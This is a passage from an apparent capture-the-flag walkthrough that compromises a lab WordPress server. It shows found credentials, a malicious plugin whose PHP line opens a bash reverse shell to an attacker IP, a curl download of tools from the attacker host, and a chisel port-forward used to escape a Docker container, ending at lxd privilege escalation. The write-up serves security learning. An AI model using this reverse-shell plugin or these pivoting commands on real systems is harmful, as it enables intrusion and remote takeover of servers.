[!] Valid Combinations Found:
| Username: sysadmin, Password: milkshake Find the vulnerable theme version and upload a reverse shell on 404.php template - twentynineteen in this case !
Or we can even upload a vulnerable plugin
Copy <?php
/**
* Plugin Name: Reverse Shell
* Plugin URI:
* Description: Reverse Shell
* Version: 1.0
* Author: Richard OBZ
* Author URI: https://onlineblogzone.com/
*/
exec("/bin/bash -c 'bash -i > /dev/tcp/<attack_ip>/9001 0>&1'");
?> Now zip this file and upload it by browsing to Plugins and then Add New
Meanwhile start the listener and now upload the zip file and activate the plugin - we get a shell !
Within the current directory we see a script which shows that we are inside a docker container
The content of start_container.sh is
Copy #!/bin/sh
cd /data
exec 2>&1 1> /data/start.log
myip=$(ip route | grep -v docker | grep src | awk '{print $9}')
sed -e 's-define("WP_HOME","http://.*");-define("WP_HOME","http://${myip}");-' -i /data/wp-config.php
sed -e 's-define("WP_SITEURL","http://.*");-define("WP_SITEURL","http://${myip}");-' -i /data/wp-config.php
#docker stack rm wordpress
#sleep 10
#docker stack rm wordpress
#sleep 10
cd /data
docker stack deploy wordpress -c wordpress_stack.yml This confirms us that we are inside a docker container and to escape this - we'll first have to figure out our IP - this can be done using hostname -I
Copy 10.255.0.4 172.18.0.4 10.0.0.5 So our internal IP address is 172.18.0.4, we can now scan it via netcat
Looks like port 22 is open on 172.18.0.1
Let's try some port forwarding techniques using chisel !
Copy On the attacking machine
$ python3 -m http.server
$ chisel server -p 1337 --reverse
On the host
$ curl http://<attacker_ip>:8000/nmap -o nmap
$ chmod +x chise;
$ ./chisel client 10.8.74.51:1337 R:22:172.18.0.1:22 After a successful connection, we can now login to the ssh server with the same credentials
Copy $ ssh sysadmin@127.0.0.1 Privilege Escalation
Since the sysadmin user is a part of the lxd group - we can craft our own alphine image and escalate our privileges :)
